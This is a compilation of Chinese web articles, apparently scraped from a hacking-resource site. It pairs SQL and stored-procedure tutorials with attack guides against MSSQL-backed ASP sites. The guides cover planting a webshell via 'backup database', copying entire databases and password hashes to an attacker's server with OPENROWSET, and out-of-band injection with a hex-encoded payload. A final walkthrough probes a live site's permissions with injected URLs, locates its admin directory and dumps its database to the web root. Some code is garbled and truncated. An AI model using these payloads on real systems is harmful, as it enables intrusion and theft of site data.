给虚拟目录e加上浏览属性不错吧。给自己开虚拟服务。想那些网页目录路径,

头都快破了。这下给自己一个天开眼了。那传WEBSHELL利用MS SQL为我们的

工作告了一段落了,接下来工作应该由你来了。

SQL语句参考及记录集对象详解

2008-11-25 11:47 作者:佚名 来源:企航中国 点击:2 次核心提示:SQL语

句参考及记录集对象详解 1. ASP与Access数据库连接: 2. ASP与SQL数据库

连接: 建立记录集对象: set rs=object("set") SQL

语句,conn,3,2 3. SQL常用命令使用方法: (1) 数据记录筛选: sql="sele

SQL语句参考及记录集对象详解

1. ASP与Access数据库连接:

2. ASP与SQL数据库连接:

建立记录集对象:

set rs=object("set")

SQL语句,conn,3,2

3. SQL常用命令使用方法:

(1) 数据记录筛选:

sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]"

sql="select * from 数据表 where 字段名 like '%字段值%' order by 字段名

[desc]"

sql="select top 10 * from 数据表 where 字段名 order by 字段名 [desc]"

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

sql="select * from 数据表 where 字段名 in ('值1','值2','值3')"

sql="select * from 数据表 where 字段名 between 值1 and 值2"

(2) 更新数据记录:

sql="update 数据表 set 字段名=字段值 where 条件表达式"

sql="update 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n where 条件表

达式"

(3) 删除数据记录:

sql="delete from 数据表 where 条件表达式"

sql="delete from 数据表" (将数据表所有记录删除)

(4) 添加数据记录:

sql="insert into 数据表 (字段1,字段2,字段3 …) values (值1,值2,值3 …)"

sql="insert into 目标数据表 select * from 源数据表" (把源数据表的记录添加到

目标数据表)

(5) 数据记录统计函数:

AVG(字段名) 得出一个表格栏平均值

COUNT(*|字段名) 对数据行数的统计或对某一栏有值的数据行数统计

MAX(字段名) 取得一个表格栏最大的值

MIN(字段名) 取得一个表格栏最小的值

SUM(字段名) 把数据栏的值相加

引用以上函数的方法:

sql="select sum(字段名) as 别名 from 数据表 where 条件表达式"

set rs=(sql)

用 rs("别名") 获取统的计值,其它函数运用同上。

(5) 数据表的建立和删除:

CREATE TABLE 数据表名称(字段1 类型1(长度),字段2 类型2(长度) …… )

例:CREATE TABLE tab01(name varchar(50),datetime default now())

DROP TABLE 数据表名称 (永久性删除一个数据表)

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

4. 记录集对象的方法:

xt 将记录指针从当前的位置向下移一行

evious 将记录指针从当前的位置向上移一行

rst 将记录指针移到数据表第一行

st 将记录指针移到数据表最后一行

原创:数据库】SQL SERVER数据库开发之存储过程应用

标 题:SQL SERVER数据库开发之存储过程的应用

作 者:栽培者

日 期:2005-12-27

说 明:由于个人能力有限,文章中难免会出现错误或遗漏的地方,敬请谅解!

同时欢迎你指出,以便我能及时修改,以免误导下一个看官。最后希望本文能给

你带来一定的帮助。

可能有不少朋友使用SQL SERVER做开发也已经有段日子,但还没有或者

很少在项目中使用存储过程,或许有些朋友认为根本没有必要使用存储过程等

等。其实当你一个项目做完到了维护阶段时,就会发现存储过程给我们带来了好

处了,修改方便,不能去改我们的应用程序,只需要改存储过程的内容,而且还

可以使我们的程序速度得到提高。

QUOTE:

SQL SERVER 联机丛书中的定义:

存储过程是保存起来的可以接受和返回用户提供的参数的 Transact-SQL

语句的集合。

可以创建一个过程供永久使用,或在一个会话中临时使用(局部临时过程),

或在所有会话中临时使用(全局临时过程)。

也可以创建在 Microsoft SQL Server 启动时自动运行的存储过程。

要使用存储过程,首先我们必需熟悉一些基本的T-SQL语句,因为存储过

程是由于一组T-SQL语句构成的,并且,我们需要了解一些关于函数、过程的

概念,因为我们需要在应用程序中调用存储过程,就像我们调用应用程序的函数

一样,不过调用的方法有些不同。

下面我们来看一下存储过程的建立和使用方法。

一、创建存储过程

和数据表一样,在使用之前我们需要创建存储过程,它的简明语法是:

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

QUOTE:

CREATE PROC 存储过程名称

[参数列表(多个以“,”分隔)]

AS

SQL 语句

例:

QUOTE:

CREATE PROC upGetUserName

@intUserId INT,

@ostrUserName NVARCHAR(20) OUTPUT -- 要输出的参数

AS

BEGIN

-- 将uName的值赋给 @ostrUserName 变量,即要输出的参数

SELECT @ostrUserName=uName FROM uUser WHERE uId=@intUserId

END

其中 CREATE PROC 语句(完整语句为CREATE PROCEDURE)的意思就

是告诉SQL SERVER,现在需要建立一个存储过程,upGetUserName 就是存储

过程名称,@intUserId 和 @ostrUserName 分别是该存储过程的两个参数,注意,

在SQL SERVER中,所有用户定义的变量都以“@”开头,OUTPUT关键字表示这

个参数是用来输出的,AS之后就是存储过程内容了。只要将以上代码在“查询分

析器”里执行一次,SQL SERVER就会在当前数据库中创建一个名为

“upGetUserName”的存储过程。你可以打开“企业管理器”,选择当前操作的数据

库,然后在左边的树型列表中选择“存储过程”,此时就可以在右边的列表中看到

你刚刚创建的存储过程了(如果没有,刷新一下即可)。

二、存储过程的调用

之前我们已经创建了一个名为“upGetUserName”的存储过程,从字面理解该

存储过程的功能是用来取得某一个用户的名称。存储过程建立好了,接下来就是

要在应用程序里调用了,下面看一下在ASP程序里的调用。

QUOTE:

Dim adoComm

'// 创建一个对象,我们用来调用存储过程

Set adoComm = CreateObject("d")

With adoComm

'// 设置连接,设 adoConn 为已经连接的 tion 对象

.ActiveConnection = adoConn

'// 类型为存储过程,adCmdStoredProc = 4

.CommandType = 4

'// 存储过程名称

.CommandText = "upGetUserName"

'// 设置用户编号

.("@intUserId").Value = 1

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

'// 执行存储过程

.Execute

'// 取得从存储过程返回的用户名称

"用户名:" & .("@ostrUserName").Value

End With

'// 释放对象

Set adoComm = Nothing

通过以上两步,我们已经可以创建和使用简单的存储过程了。下面我们来看

一个稍微复杂点的存储过程,以进一步了解存储过程的应用。

三、存储过程的实际应用

用户登录在ASP项目中经常会使用到,相信很多朋友也都做过类似的系统,

但使用存储过程来做验证朋友可能不多,那么我们就以它来做例子,写一个简单

的用户登录验证的存储过程。

QUOTE:

CREATE PROC upUserLogin

@strLoginName NVARCHAR(20),

@strLoginPwd NVARCHAR(20),

@blnReturn BIT OUTPUT

AS

-- 定义一个临时用来保存密码的变量

DECLARE @strPwd NVARCHAR(20)

BEGIN

-- 从表中查询当前用户的密码,赋值给 @strPwd 变量,下面要对他进行

比较

SELECT @strPwd=uLoginPwd FROM uUser WHERE

uLoginName=@strLoginName

IF @strLoginPwd = @strPwd

BEGIN

SET @blnReturn = 1

-- 更新用户最后登录时间

UPDATE uUser SET uLastLogin=GETDATE() WHERE

uLoginName=@strLoginName

END

ELSE

SET @blnReturn = 0

END

用户登录的存储过程建立好了,现在在程序里试一下吧。注意,在一个区域

内如果有多条语句时,必需使用END关键字。

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

QUOTE:

Dim adoComm

'// 创建一个对象,我们用来调用存储过程

Set adoComm = CreateObject("d")

With adoComm

'// 设置连接,设 adoConn 为已经连接的 tion 对象

.ActiveConnection = adoConn

'// 类型为存储过程,adCmdStoredProc = 4

.CommandType = 4

'// 存储过程名称

.CommandText = "upUserLogin"

'// 设置登录名称

.("@strLoginName").Value = "admin"

'// 设置登录密码

.("@strLoginPwd").Value = "123456"

'// 执行存储过程

.Execute

'// 判断是否登录成功

If .("@blnReturn").Value = 1 Then

"恭喜你,登录成功!"

Else

"不是吧,好像错了哦。。。"

End If

End With

'// 释放对象

Set adoComm = Nothing

通过以上的步骤,简单用户登录验证过程也做完了,现在只要把它整合到程

序中就可以实现简单的用户登录验证了,关于其他细节就由你自己来处理了。

上面介绍的两个存储过程都是只返回一个值的,下面我们来看一个返回一个

记录集的存储过程。

QUOTE:

CREATE PROC upGetUserInfos

@intUserGroup INT

AS

BEGIN

-- 从数据库中抽取符合条件的数据

SELECT uName,uGroup,uLastLogin FROM uUser WHERE

uGroup=@intUserGroup

-- 插入一列合计

UNION

SELECT '合计人数:',COUNT(uGroup),NULL FROM uUser WHERE

uGroup=@intUserGroup

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

END

现在我们来看一下ASP程序的调用。

QUOTE:

Dim adoComm

Dim adoRt

'// 创建一个对象,我们用来调用存储过程

Set adoComm = CreateObject("d")

Set adoRs = CreateObject("set")

With adoComm

'// 设置连接,设 adoConn 为已经连接的 tion 对象

.ActiveConnection = adoConn

'// 类型为存储过程,adCmdStoredProc = 4

.CommandType = 4

'// 存储过程名称

.CommandText = "upGetUserInfos"

'// 设置用户组

.("@intUserGroup").Value = 1

'// 执行存储过程,和以上几个例子不同,这里使用RecordSet的Open方法

adoComm

'// 显示第一个值

(0).Value

End With

'// 释放对象

Set adoRs = Nothing

Set adoComm = Nothing

怎么样,是不是也很简单呢,不过存储过程的用处不仅仅只有这些,他还有

更强大的功能,比如使用游标、临时表来从多个表,甚至是多个数据库中调用数

据,然后返回给用户,这些你可以在使用过程中慢慢的去发掘。

利用 mssql backup 创建webshell

[ 来源:/down/ | 作者: | 时间:2007-5-18 17:41:06 | 浏

览: 105 人次 ]

最早想到利用数据库系统来写文件大约MySQL下面的事情吧,我记得有篇经典

的贴子是讲利用TCP反弹结合输入法漏洞入侵的,第一步,也是很重要的一步

就是利用了MySQL导出表到文件获得了一个web上的shell。ACCESS功能不

那么强大,有注入漏洞的时候也不能直接获得执行任何命令的权限,就不说了;

MSSQL倒是有很多人详细研究过,执行命令的方法罗列了很多,可是没有了exec

的权限,所做的还是有限。很多人就在问,MSSQL下面能不能导出一张表到文

件,就像MySQL那样子,至少先获得一个低权限的shell来看看,我找来找去

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

也没有找到导出表的命令,只好另想方法--不能导出表,那就只好导出数据库了,

效果嘛,大部分情况下还是一样的。

在说明做法前,还是先来看看为什么可以。IIS在通过处理.asp扩展名文

件的时候,对以外的内容,不做任何处理就直接输出,比如拷贝一个.exe文件到

web发布目录,改扩展名为.asp后在IE中请求,返回来的结果是多半是.exe文件

的内容,而不会是一个500服务器内部错误。而对于括起来的内容,默认情况下

是按照VBscripqs的方式解释执行后给出结果,如果在里面的内容有语法错误,

才会出现常见的500服务器内部错误。换句话说,如果有一个以.asp为扩展名的

文件,只要能精心控制所有的中的内容,我们就能够让它正确的执行,而至于以

外的东西,不去处理它,我们也不去关心。

再来看看在MSSQL下使用backup database的情况。随便导出一个数据库看看,

比如model,当然了,可以在查询分析器中做:

backup database model to disk='c:'

用文本的方式打开这个文件。通过上面的分析,我们只要知道默认的情况下,如

果把这个文件改扩展名为.asp后,请求时会不会出现问题,于是我们查找是否存

在,呵呵,显然是没有的吧,也就是说我们的请求会返回文本方式的内容。首先

是默认的导出文件不会导致解释执行时的错误,这是很关键的一步,剩下的就是

我们要让他变为一个shell,当然是做一个表进去了,表的内容在备份的时候一

定会被存储到备份文件中去的,我们可以控制表的内容,自然也可以控制备份文

件的内容。

到这里可能有人已经想一股脑儿把经典的asp shell的内容写入新建的表然后

backup database了,嗯,还没有那么简单,你这样做了的话,如果还想继续我们

的实验,那可能要花上重装MSSQL的代价。对于文本类型等的数据,比如

text,nvchar等,在数据库中可能的形式是"abc",但是在导出文件中,已经变成了

宽字符的形式,成了"a b c ",这样子的话,即使你好心写的是一个",这样子,

我们才能完全的控制内的内容,保证能够得到一个正确无误的asp shell。

OK,终于到了实践的部分了。通过上面的分析,应该知道利用backup database

来做一个shell是完全可行的,我们先来改写一下那个利用FSO的asp shell,使

其能够符合我们的要求:

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

" method="POST">

<%= szCMD %>

Run

然后打开查询分析器,依次输入以下的SQL查询语句。这些语句的大意就是创建

一张表,里面有一个二进制image类型的列,然后把我们上面改写的那个shell

作为内容输进去,最后导出整个数据库到一个.asp文件,开始!

use model

create table cmd (str image);

insert into cmd(str) values ('');

insert into cmd(str) values ('');

insert into cmd(str) values ('');

insert into cmd(str) values ('');

insert into cmd(str) values ('');

insert into cmd(str) values ('');

insert into cmd(str) values ('');

insert into cmd(str) values ('');

insert into cmd(str) values ('');

insert into cmd(str) values ('');

insert into cmd(str) values ('');

insert into cmd(str) values ('');

insert into cmd(str) values ('');

insert into cmd(str) values ('

" method="POST">');

insert into cmd(str) values ('

<%= szCMD %>

Run

');

insert into cmd(str) values ('');

insert into cmd(str) values ('');

insert into cmd(str) values ('');

insert into cmd(str) values ('');

insert into cmd(str) values ('');

insert into cmd(str) values ('');

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

insert into cmd(str) values ('');

backup database model to disk='c:';

拷贝c:到你的web发布目录,再用浏览器请求一下,没有500错误的话,

你已经获得一个shell了,不过这个shell中垃圾数据实在是太多,你要多按几

下TAB键才能到输入命令的那个输入框。

末了再说说可能出现的问题,一般来说随意选择一个数据库导出,默认情况下里

面是不含有的,但也不排除有这种可能,尽管几率很小,但是我就遇到过一次。

如果以前没有动过model,导出的文件肯定是符合要求的,但是如果你中途如果

写错了些东西,比如创建了一个表,内容有出现的话,这个数据库就再也不能用

了,因为也许是为了事务回滚的需要,即使你删除了这张表,在导出的文件中依

然保存有这张表的原始内容,所以,千万要一次成功,错了就完了。

当然上面只是在查询分析器中的实验,实际情况下,如果你能以sa的身份注入,

当然是比较轻松的,只是猜测web的物理路径的时候可能会稍微有一些麻烦,因

为你得一次性导出到web的发布目录,不过也许你可以结合其他暴露物理路径的

漏洞来利用。如果不是sa的身份的话,也许declare @a sysname;select

@a=db_name()会有一些用处。成功的几率,不敢说的太高,估计80%还是有的吧,

如果你真的通过这种方法得到了shell,其实你会发现,这真是世界上最可爱最

好用的asp shell--尽管有很多垃圾数据,也许还是个2、3M的大家伙

SQL_Injection高级应用 作者:apachy 灌一篇水,写一点关于SQL Injection的高级

应用,针对SQL Server的。我假设你已经非常了解SQL Injection的基本概念。 【目

标探测】当大多数人都意识到SQL Injection的威胁并进行一番修补之后,可能很

难再找到下手的地方。但若想成功就必需要冷静耐心,当然有时也需要一点点运

气;) 如果有源码,一定要耐心仔细地看。在一个庞大的系统中,是很难做到

万无一失的。而只要有一处漏洞,就足够威胁整个系统。千里之堤,溃于蚁穴。

这里主要总结一些Injection的高级用法。如何发现漏洞不是此篇主题,可参考我

以前的一篇文章《发掘另类injection》 需要说明的是,Injection不只存在于web

页面,应用程序也存在,绝不可以只见树木不见森林。对任何一种技术的认识和

理解要精益求精,将作用发挥的淋漓尽致。言归正传: 一、开启远程数据库基

本语法 select * from

OPENROWSET(’SQLOLEDB’, ’server=servername;uid=sa;pwd=apachy_123’, ’sele

ct * from table1’ ) 参数: (1) OLEDB Provider name (2) 连接字符串 (OLEDB数据

源 或 ODBC 连接字符串) (3) SQL语句 其中连接字符串参数可以是任何和端

口用来连接,比如 select * from

OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;

Address=202.100.100.1,1433;’, ’select * from table’ ) 二、复制数据库利用一个

Injection漏洞,可以经过无数次穷举探测来得到数据库中的信息。通常是手动输

入,用来探测几位或十几位长的字段还是可行的(比如用来破解密码)。但还是

想更简单一点,干脆写个程序来自动完成这个过程。后来又发现既便用程序,带

入的字符依然很有限制,比如想得到数据库中一个“备份型”字段中的全部数据,

这似乎是根本不可能的。有没有更简洁的办法。当然有,把整个数据库复制下来!

前提:在本机需要装上SQL SERVER,并且有一个公网IP。要复制目标主机的整

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

个数据库,首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主

机上建立远程连接,刚才已经讲了),之后insert所有远程表到本地表。 基本语法:

insert into

OPENROWSET(’SQLOLEDB’, ’server=servername;uid=sa;pwd=apachy_123’, ’sele

ct * from table1’) select * from table2 这行语句将目标主机上table2表中的所有数

据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址

和端口,指向需要的地方,比如: insert into

OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;

Address=202.100.100.1,1433;’, ’select * from table1’) select * from table2 需要注意

的是,要成功执行这条语句的前提是必需先在本地建立一个table1,而且table1

的结构必需和目标主机上table2的结构一摸一样。为了得到table2的结构,必需

从系统数据库着手。首先需要了解一些SQL Server系统数据库构造的知识。当新

建用户数据库后,数据库中包含一些系统表,和这个数据库相关的信息就包含在

这个表中。表信息,字段名、字段类型、存储过程等关键信息均存放于

sysdatabases,sysobjects,syscolumns里面。因此可以通过复制这几个关键系统表

来获得目标主机上数据库的构造信息。方法如下: insert into

OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=hack3r;Network=DBMSSOCN;Addre

ss=202.100.100.1,1433;’, ’select * from _sysdatabases’) select * from

abases insert into

OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=hack3r;Network=DBMSSOCN;Addre

ss=202.100.100.1,1433;’, ’select * from _sysobjects’) select * from

user_ects insert into

OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;

Address=202.100.100.1,1433;’, ’select * from _syscolumns’) select * from

user_umns 之后,便可以从本地数据库中看到目标主机的库结

构,这已经易如反掌,不多讲,复制数据库: insert into

OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;

Address=202.100.100.1,1433;’, ’select * from table1’) select * able1

insert into

OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;

Address=202.100.100.1,1433;’, ’select * from table2’) select * from

able2 ...... 三、复制哈西表(HASH) 这实际上是上述复制数据库的一

个扩展应用。登录密码的hash存储于sysxlogins中。方法如下: insert into

OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;

Address=202.100.100.1,1433;’, ’select * from _sysxlogins’) select * from

gins 得到hash之后,就可以进行暴力破解。这需要一点运气和

大量时间。 四、防火墙处理这上述几种方法最根本的一个前提就是要求目标主

机连接本地主机,所以这里必需考虑防火墙的因素。在上述所

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

跨站式SQL注入数据库攻击和防范技巧

2005-01-27 10:06作者:老凯出处:天极BLOG责任编辑:方舟 前一阶段,

在尝试攻击一个网站的时候,发现对方的系统已经屏蔽了错误信息,用的也是普

通的帐号连接的数据库,系统也是打了全部的补丁这样要攻击注入是比较麻烦

的。因此我自己搞了一种“跨站式SQL注入”。

思路如下,既然你不显示错误信息,我能不能让你显示到别的地方呢?让

SQL把错误写入别的地方。

既然是研究阶段,我们最好不要直接注入网站,而是首先用查询分析器来分

析这个方法。

第一个想法:

SQL可以连接外部的数据库。

于是,首先用查询分析器,登陆到我自己的一个虚拟主机的数据库(这样的

权限比较小),然后在本地启动一个SQL server,并且用SA的身份在SQL事件

探测器里边建立一个跟踪。

尝试 sp_addlinkedserver 如果成功,那就和操作本地数据库一样了。

提示必须是sysadmin的身份。。失败。

换一个思路:

只要你SQL敢发命令过来,我不管执行的结果怎么样,只要接获到命令就

可以了。

于是考虑到一个权限要求不是很高的命令:OPENROWSET 来跨服务器查

询。这个命令作用是把一个数据库命令发给远程的数据库,取回来结果集。。于

是就启动“事件跟踪”监视发过来的命令。

第一次尝试,首先还是执行 create table [dbo].[laokai]([cha8][char](255))--建

立一个表。随后是把路径写入数据库,这里我考虑,直接生成一个跨库的脚本算

了。好方便执行。。

DECLARE @result varchar(255) exec _regread

'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParamete

rsVirtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.*

FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'', ''SELECT * FROM

s where au_fname=''''' + @result + ''''''')AS a');--

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

这段代码什么意思哪?就是把网站的路径信息写入数据库。也不是单纯的

写,写得同时构造一个SQL语句,这个语句的执行结果是给laokai这个数据库

的cha8字段增加了这样的一行记录。

SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT *

FROM s where au_fname=''C:Inetpub,,1''')AS a

其中的C:Inetpub,,1就是注册表记录的根目录,最后要做的是:

DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--

这样就等于执行了

SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT *

FROM s where au_fname=''C:Inetpub,,1''')AS a

这一条语句,同时你会在事件探测器那边会显示

SELECT * FROM s where au_fname='C:Inetpub,,1'

其中的C:Inetpub 就是网站的路径。。调试成功。。

现在进入实战阶段。某网站屏蔽了全部出错信息。但是我们可以确定它存在

注入点 ?id=1,怎么做呢?

?id=1;create table [dbo].[laokai]([cha8][char](255))--

返回正常,我们建立了一个叫laokai的表,有个字段叫cha8,然后:

?id=1;DECLARE @result varchar(255) exec _regread

'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParamete

rsVirtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.*

FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'', ''SELECT * FROM

s where au_fname=''''' + @result + ''''''')AS a');--

出错了......出错信息被屏蔽了......怎么办?经过研究发现是里边的某些字符

例如 +号需要转化成16进制,或许还有别的地方要转化......怎么办啊?

于是写了一个ASCII转化16进制的工具,把全部的代码转化一下,然后注

入就OK了。(工具的下载地址 / 麻烦放入光盘,不

要让他们下,我的服务器受不了),最后自然是执行上述语句了。

?id=1;%44%45%43%4C%41%52%45%20%40%72%65%73%75%6C%74%20

%76%61%72%63%68%61%72%28%32%35%35%29%20%65%78%65%63%20%

6D%61%73%74%65%72%2E%64%62%6F%2E%78%70%5F%72%65%67%72%65

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

%61%64%20%27%48%4B%45%59%5F%4C%4F%43%41%4C%5F%4D%41%43

%48%

49%4E%45%27%2C%27%53%59%53%54%45%4D%5C%43%4F%4E%54%52%4

F%4C%53%65%74%30%30%31%5C%53%65%72%76%69%63%65%73%5C%57

%33%

53%56%43%5C%50%61%72%61%6D%65%74%65%72%73%5C%56%69%72%74

%75%61%6C%20%52%6F%6F%74%73%27%2C%20%27%2F%27%20%2C%40%

72%

65%73%75%6C%74%20%6F%75%74%70%75%74%20%69%6E%73%65%72%74

%20%69%6E%74%6F%20%6C%61%6F%6B%61%69%20%28%63%68%61%38%

29%

20%76%61%6C%75%65%73%28%27%53%45%4C%45%43%54%20%61%2E%2

A%20%46%52%4F%4D%20%4F%50%45%4E%52%4F%57%53%45%54%28%27

%27%

53%51%4C%4F%4C%45%44%42%27%27%2C%27%27%3F%3F%49%50%27%2

7%3B%27%27%73%61%27%27%3B%27%27%3F%3F%27%27%2C%20%27%27

%53%

45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%70%75%62%73%2E%6

4%62%6F%2E%61%75%74%68%6F%72%73%20%77%68%65%72%65%20%61%

75%

5F%66%6E%61%6D%65%3d/' target='_blank'

class='article'>3D%27%27%27%27%27%20%2B%20%40%72%65%73%75%6C%7

4%20%

2B%20%27%27%27%27%27%27%27%29%41%53%20%61%27%29%3B%2D%2

D%20

执行成功。

?id=1;DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec

(@a1);--

网站那边显示还是正常页面。。但是你这边的事件探测器那边会显示:

注入成功。。后边知道了绝对路径,如何添加木马的文章就很多了。。这里

就不再描述了。。

最后说明一下:这只是一个新型的攻击思路的讲解,让大家通过另外一种方

式把数据库里边的数据取出来。。

''SELECT * FROM s where au_fname=''''' + @result + ''''''' 部

分,修改成insert把数据加入数据库也应该没有问题。。甚至单独保留 @result 都

没问题。。不过这样那边会出错。这边就留下一个exec 'C:Inetpub,,1'

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

怪异的SQL注入

【 作者:amanl 来源:Bugkidz和Security Angel 更新时间:2004-7-6 | 字体:

大 中 小】

测试您的反应速度 美女桌面壁纸 测试您的逻辑能力 美国主机介绍

幽默笑话

-

发布日期:2004-06-29

SQL注入以独特、新奇、变异的语句迎来了技术又一大突破,当然要针对奇、特

这两方面作文章,要达到一出奇招,必达核心!那才是SQL注入技术的根本所在。

长期以来,MS SQL以它强大的存储进程给我们带来了极大的方便,而如今注入

技术主要依靠IIS出错与MS SQL系统提示信息来判断,那利用SELECT构造特殊

语句,使系统出错来得到我们要的更深入的信息,如爆库、爆表等,能不能取得

详细信息呢?答案是能,但必出奇招!下面我们一步步来拆解奇招!

首先打开MS SQL查询分析器,输入:

xp_dirtree适用权限PUBLIC

语句:exec _dirtree 'c:'

返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字

段是整形字段。想到了什么?别急,我们继续!

语句:create table dirs(paths varchar(100), id int)

作用:建表的语句,大家都熟悉吧?但这里建的表起到关键的作用!也就是和上

面xp_dirtree相关连,字段相等、类型相同,为我们下一步操作作下铺垫。再来,

谜底就要揭晓!

语句:insert dirs exec _dirtree 'c:'

作用:大家觉得奇怪吧?INSERT语句这样是不是有问题呢?NO!原理是只要

我们建表与存储进程返回的字段相定义相等就能够执行!与常规INSERT

TABLE(COLOUMN) VALUES(VALUES)差别就是在此,VALUES值我们无法放

置存储进程,利用简写:insert dirs exec _dirtree 'c:',而达到写表的

效果——既然可以写表,那我们就可利用未公开存储进程来一步步达到我们想要

的信息!

上面的东西大家明白了吗?不明白没关系,过招在于实战,实践胜于理论,那我

们就来过过招!实际看下!以下用一个网站作为基点作测试,注意:以下测试的

权限非SA权限!

语句:/down/?id=1'

返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e14'

字符串 '' 之前有未闭合的引号。

/down/,行21

测试权限结构:

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

语句1:/down/?id=1 and 1=(SELECT

IS_SRVROLEMEMBER('sysadmin'));--

语句2:/down/?id=1 and 1=(SELECT

IS_SRVROLEMEMBER('serveradmin'));--

语句3:/down/?id=1 and 1=(SELECT

IS_SRVROLEMEMBER('setupadmin'));--

语句4:/down/?id=1 and 1=(SELECT

IS_SRVROLEMEMBER('securityadmin'));--

语句5:/down/?id=1 and 1=(SELECT

IS_SRVROLEMEMBER('securityadmin'));--

语句6:/down/?id=1 and 1=(SELECT

IS_SRVROLEMEMBER('diskadmin'));--

语句7:/down/?id=1 and 1=(SELECT

IS_SRVROLEMEMBER('bulkadmin'));--

语句8:/down/?id=1 and 1=(SELECT

IS_SRVROLEMEMBER('bulkadmin'));--

语句9:/down/?id=1 and 1=(SELECT

IS_MEMBER('db_owner'));--

通过实际测试,只有DB_OWNER语句正常返回信息,可以确定连接数据库拥有

的权限是DB_OWNER(DOWN数据库所有者),跳过爆库爆表步骤,以前黑防讲

得很清楚,大家可以翻看臭要饭的《跨库查询你想怎么玩》,现在我们得到管理

员的表和管理表资料,进一步得到权限有两种方法:意思爆出所有字段,取管理

后台用户密码,难点在于找管理后台路径,是个体力活;另一个是通过BACKUP

直接上传WEBSHELL,难点在于寻找WEB目录。

手工猜解管理后台路径的成功几率很低,要用XP_DIRTREE来得到我们想要的信

息,下面的方法或许要简单一点!第一次公布出来,或许很多朋友在用,不过绝

对非常好!我们把路径写到表里去!

语句:/down/?id=1;create table dirs(paths

varchar(100), id int)--

返回:正常的信息!说明建表成功!继续!

语句:/down/?id=1;insert dirs exec

_dirtree 'c:'--

返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴

它出来。

语句:/down/?id=1 and 0<>(select top 1

paths from dirs)-

返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

将 varchar 值 '@Inetpub' 转换为数据类型为 int 的列时发生语法错误。

再依次爆出表中的目录名称!

语句:/down/?id=1 and 0<>(select top 1

paths from dirs where paths not in('@Inetpub'))--

最后用同样的方法测试得到网页目录放在E:WEB下,得到网页目录后两种选择,

一是进一步获取网站管理后台,另一个是通过BACKUP直接获取WEBSHELL。

监于BAKCUP获取WEBSHELL的成功率并不是太高,我们先来猜猜它的管理后

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

台吧!这里要使用XP_DIRTREE,但是由于XP_DIRTREE是取得一个硬盘分区的

目录树,让我们容易混乱,所以就来一层层得到下级目录吧:

语句:/down/?id=1;create table dirs1(paths

varchar(100), id int)--

语句:/down/?id=1;insert dirs exec

_dirtree 'e:web'--

语句:/down/?id=1 and 0<>(select top 1

paths from dirs1)--

经过反覆的爆字段,最后爆到一个xxxadminlogin目录,一看就知道这个目录可能

就是我们梦寐以求的管理后台目录!压抑住自己的兴奋!我们继续:

语句:/down/xxxadminlogin/

显示出登陆入口!GOOD!哈哈,幸运啊!有用户、密码,有登陆URL,还

等什么?进去瞧瞧……

XP_DIRTREE存储进程返回的只是目录树,我们无法得到文件树。针对登陆入口

在网站根目录下的情况,根本就无从下手,而且相对来说,得到的目录信息要根

据人工去猜测判断,所以要通过XP_DIRTREE取得管理后台的登陆入口有着很强

判断性,也是非常考个人思维的地方。

再来说说写入ASP木马通过BACKUP得到WEBSHELL或是直接备份当前拥有权

限的数据库的办法。写入木马使用臭要饭现成的GETWEBSHELL工具,很容易

就得到一个WEBSHELL,为了进一步取得会员资料,直接手工备份整个库到网

页目录也是个好的办法!

语句:/down/?id=1;declare @a sysname; set

@a=db_name();backup database @a to disk='e:';--

去下载吧!亲爱的朋友们!嘿嘿。

本文介绍是一种变异写表方法,没有多少技术含量,只是给大家提供一种构造语

句的思路。本文针对网站连接权限不是数据库服务器角色组的成员,能为注入所

利用的内置扩展存储进程并不多,扩展的存储进程涉及权限比较高的用户才能访

问,所以说一个安全的网站与管理者对权限结构的合理分配是密不可分的,你注

意到了吗?

SQL Server应用程序中的高级SQL注入

日期:2004年10月26日 作者:热点网络学院

SQL Server应用程序中的高级SQL注入

作者:Chris Anley[chris@]

An NGSSoftware Insight Security Research(NISR) Publication

翻译:青野志狼(panderlang)

来源:狼族在线/)

